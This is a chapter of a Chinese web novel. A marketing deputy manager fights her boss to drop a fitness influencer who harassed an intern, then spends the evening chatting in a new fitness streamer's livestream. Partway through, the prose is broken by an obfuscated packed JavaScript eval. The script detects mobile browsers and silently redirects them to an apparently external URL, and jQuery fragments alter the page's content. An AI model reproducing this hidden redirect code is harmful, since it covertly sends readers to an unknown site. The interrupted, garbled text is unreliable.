“活动还有十天就要开始了，官宣还有两个小时就要发出去了，活动要用的物料也都已经在准备了。颜芯你是怎么想的？居然现在和我说要换达人？！”


    李斯杨皱着眉头，说起话来唾沫横飞的，一掌拍在大屏幕上，手掌落下的地方正好是UNICE品牌推荐官线下活动的时间点。


    10月28日。


    时间紧迫。


    几乎所有人都低埋着头，一声不吭，毕竟谁也不想出声做靶子。


    不过颜芯本来就是靶子了，她无所畏惧，手指夹着一支水性笔打转，有条不紊说：“陈世豪私生活混乱，诱导粉丝发生不正当关系，这事一旦传开了，不仅陈世豪会塌房，UNICE品牌口碑也会受到牵连。趁着现在还没官宣，我建议立刻停止有关陈世豪的所有宣发。”


    “你说的没错，但你觉得这件事，它可能传开吗？”


    李斯杨一点也没有被她说动，“UNICE卖的是体育器材，接触的是体育和健身赛道的网红达人，我们心知肚明，他们能有几个是干干净净的？以后就算出了事，陈世豪也必然承担相应的责任，我们未必受到牵连。相反，现在各部门都已经在为线下活动做准备了，你跟我说现在为了一件不一定发酵起来的事叫停？损失谁来承担？”


    手一松，水性笔落在桌上，颜芯反问：“你觉得一定不会传开吗？”


    “不能说一定，但概率绝对很小。”


    颜芯不禁扬眉，“那你想错了，这件事绝对会传开。就算粉丝没有闹大，我也会想办法让所有人知道，陈世豪是个人渣。我不可能让这种，骗粉丝发生关系的捞男多赚一分钱。”


    “你是不是疯了，这对你有什么好处！”


    李斯杨真急了，手掌又一次重重拍下，这次拍的是桌子，“咚”的好大一声也不嫌疼。


    颜芯眼眸掠过他的手掌，倒是比他情绪稳定很多，淡声说：“没好处，但也得做。这次线下活动，我是负责人，我不会让活动在我手里出现任何纰漏。我有后续处理方案，你用不着担心别的，你现在只需要点头。”


    “你说点头我就点头？到底谁才是经理！”


    “你啊，不过我是副经理，也没差很多吧？”


    “差远了，你得听我的继续用陈世豪！”


    “你决策有误，我拒绝。”


    ……


    原本这场会议是为了确认线下活动筹备进度，预计半小时就可以结束了，现在因为他们两人的争执，整整开了快两个小时，最终以颜芯的胜利宣告结束。


    离开会议室的时候，李斯杨脸色臭得可以，丢下一句，“真他妈的油盐不进。”


    颜芯在后面慢悠悠地接了句，“有些人就是嘴脏。”


    这就是媒介商务部门的日常，他们两个站在一起就没有一天是不吵架的。一般大家都缩着脑袋装哑巴，没谁愿意卷入其中。


    只有赵希子一个人时不时愧疚地看颜芯一眼，憋了好久才挪到她身边小声说：“芯姐，刚才谢谢你。要不是因为我，你也不用和李斯杨吵这一架。”


    她是今年秋招进来的，明年六月才毕业，刚入职半个月，被李斯杨扔给颜芯带了，对于他们之间的斗争一无所知，第一个正式工作就是协助线下活动执行，对接陈世豪。


    谁知道这才没几天呢，陈世豪的魔爪就伸向她了。


    怎么不算倒霉呢？


    颜芯对新来的小女生都比较照顾，摆了摆手，“没什么好谢的，我和他天天吵，都习惯了。而且我刚才也都说过了，我不会让人渣赚钱的。”


    “什么？陈世豪这事和你有关系？”


    她们的声音很小，但后面有个新来的就是耳尖听到了，凑过来问赵希子，“他对你做什么了？”


    还能是什么事？


    用脚想都能想出来。


    他的声音有点大，吸引了好几个人看了过来。


    赵希子本来就被陈世豪那些露骨的言论吓疯了，有胆子和颜芯告状都不错了，现在一秒都忍不住，眼睛马上就红了，下意识又看向颜芯求救。


    同一时间，颜芯漫不经心地说：“能有什么事？建议清理一下你们脑子里那些不干净的东西，是赵希子第一时间发现粉丝爆料贴告诉我的，如果不是她，搞不好我们都要因为陈世豪加班了。对了，那几个帖子就是今天上午发出来的，不信去搜？”


    好几个人被说得不好意思，附和：“那还真是，多亏了赵希子。”


    “找到帖子了，好多粉丝都脱粉回踩了。”


    “互联网还是太包容了，什么东西都能火。”


    “也是什么奇形怪种都见到了。”


    ……


    话题中心又变成骂陈世豪了，赵希子得以从刚才那种快要窒息的氛围里脱离出来，偷偷吸了吸鼻子，小声问：“姐，我请你喝咖啡吧？”


    颜芯一点也没客气，“行，一杯冰美式。”


    这让赵希子安心了很多，破涕为笑回到工位上给她点外卖，之后又平复了好一会儿，才重新投入到了工作之中。


    而颜芯拢起长发简单扎了个低马尾，靠在椅背上长吐一口气。


    烦。


    工作的每一天都像在战斗，只要睁开眼睛，就随时随地进入备战状态，现在吵赢了李斯杨只能算是开始，后面需要争的还有太多太多，最为棘手的就是陈世豪。


    她不可能再让赵希子继续和陈世豪对接，但自己也没急着找他，先给那些爆料贴买了推广，和另外一个口碑不错的健身博主确认好档期来救场，再待风波越演越烈，她才和陈世豪说线下活动决定换人。


    到这时候，陈世豪的口碑都快烂掉了，自顾不暇，换人的事情就很好谈了。


    不过他的确不是个好打发的人，前一秒颜芯还以为这事该结束了，后一秒他就突然问：【最近不都是赵希子和我对接吗？怎么今天突然换成你了？】


    陈世豪：【今天的事是不是和你们有关？】


    不得不说，他的直觉非常敏锐。


    但颜芯不会承认。


    颜芯：【不好意思，纯属巧合。】


    颜芯：【建议你先解决一下私人问题，以后有机会我们再合作。】


    才怪。


    她看不惯陈世豪这种男的，但也不想随随便便招惹是非，能和他好好把话说清楚就不错了，多余的一句话都不想说，即使他追问，也都直接假装不在没回话了。


    事情终于告一段落，她侧目看向窗外。


    天黑了，一天又结束了。


    她租的房子就在公司附近，步行十分钟就能到，路上好几个群里都在艾特她出去玩，她都一一拒绝了，说忙完这阵再聚，然后拖着疲惫的身体回了家。


    布偶猫“喵喵喵”地跑过来迎接，她蹲下来摸了摸它的脑袋，没走几步就瘫倒在了沙发上，放空了至少五分钟才逐渐找到自己的灵魂。


    “十五，想不想我啊？”


    小猫不会说话，乐此不疲地打着呼噜，在她身上蹭来蹭去，蓝色的眼睛亮晶晶的和玻璃珠一样，看得颜芯又有了点干劲，连忙起来给十五放冻干和猫粮，看着它埋头干饭的样子，感觉人生还是值得的。


    下班后的时间像按了快进，感觉也没做什么，就已经到了该睡觉的时间了。


    床头灯散发着暖黄的光，十五玩了一会儿就累了，躺在颜芯身边又睡了，软软的肚皮有规律地起伏着，偶尔发出一声小鼾。


    颜芯把手机音量调得很低，拖公司的福，大数据认定她爱看健身男，连刷好几条不是健身博主秀身材，就是健身教学，看得多了就好像还在上班，止不住得打起了哈欠。


    也就是这会儿，她突然刷到了一个直播。


    依然是健身，屏幕里的男人在做卧推，看起来似乎是个直播新手，镜头角度把握得不好，画面被器材挡住了大半，隐约可见手臂上好看的肌肉线条，其他就没什么好看的了。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15560404|171391||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    颜芯不感兴趣，手指正往下滑，与此同时直播里的男人露了脸。


    她刷得很快，大概只模糊看到了一双很有神的眼睛，还有相较其他博主要白一点的皮肤，手机里的画面就切换到了下一条视频，是健美大赛比赛现场，美过黑擦过油的皮肤亮得发光，发达的肌肉让他远远看起来好像卤好的牛蛙。


    差别过大，颜芯被吓清醒了。


    就说健身过度不能吸引异性吧！


    她心中默念阿门，无意冒犯他人审美，手上却很诚实地刷回上一条直播，虽然新人拍得不好，但显然还是这位新人的身材更符合她的口味，她得洗洗眼睛。


    可能是刚做完一组动作需要休息，新人正坐在器械上微微喘着气，目测年纪不大，眼睛直视着镜头，睫毛又密又长，瞳孔很黑很亮，依稀能从中看到手机发光的倒影。


    的确是双好看的眼睛，脸也好看，不仅比刚才的健美牛蛙好看，也比很多男博主好看。


    颜芯看了看左下角的ID——


    阿昱。


    她舔了下唇，进入直播间看了下左上角的观看人数，才十几个人。评论区也冷得可以，零星一两个人在刷看看腹肌，而阿昱耳尖泛红，一句话都没说。


    似乎有点局促，不知道该说什么。


    颜芯不确定她是不是有点恶趣味，反正她还挺喜欢这种新人美，等直播久了有经验了，和粉丝混得熟了，不管观众说什么都能从善如流地接话了，反而就很没意思了。


    AAA海鲜批发芯姐：【主播第一天开播吗？】


    这个问题要好回答很多，卓昱心里松了口气，认真回答：“是的，今天是我第一次开播，希望大家多多指教。”


    看来也不太会聊天，干巴巴地回答完这一句就又不吭声了。


    说实话有点无聊，估计很多人就是因为和他聊起来没意思，所以直播间的人都进进出出的，一直维持在十个人左右，怎么也留不住观众。


    不过看他紧张交握的双手，微微抿着的唇。


    颜芯留下来了。


    AAA海鲜批发芯姐：【主播可以开一下蓝光画质，现在看起来有点糊。】


    平台直播的功能很多，卓昱开直播是临时起意，对这些功能都不了解，找了好久才找到调画质的地方。颜芯顿时感觉像近视了八百度终于戴上了眼镜，世界都变清晰了，阿昱也变得更好看了。


    AAA海鲜批发芯姐：【主播长得好牛，祝大火。】


    颜芯发完这句，甚至心里想，如果阿昱真的能火，能有一定体量的粉丝，且坚持做健身赛道的话，她可以考虑到时候切工作号和他商量一下商务合作。


    不过现在说这话还太早，卓昱也根本没有这些想法，“谢谢，不过我不是专职做直播的，不火也没关系。”


    AAA海鲜批发芯姐：【那开直播是干什么？】


    卓昱如实回答：“我有个朋友说，开直播和陌生人聊天，可以排解情绪。”


    AAA海鲜批发芯姐：【有不开心的事吗？】


    卓昱抿了抿唇，又没说话了。


    评论区只有颜芯一个人和他有来有回地聊，她很确信阿昱的视线从未离开过手机，可以排除掉没看到她评论的可能性，那么答案只有一个。


    他不想说。


    颜芯也无所谓去了解一个陌生男人的心事，又发了一条评论，【主播还健身吗？】


    卓昱摇头，“不了，今天已经健身完了，我可能再播会儿就下了。已经快十一点半了，都早点睡吧？”


    原来赶的是趟快到站的末班车。


    颜芯扬眉，【可我才刚进直播间，这么快就要下了？】


    她故意这么说，于是意料之中地看到阿昱微微露出了一点犹豫的神色，大概是在想是不是应该再多播一会儿，她便在这个时候理直气壮地提出了要求。


    AAA海鲜批发芯姐：【可以再来组卷腹给我看看吗？】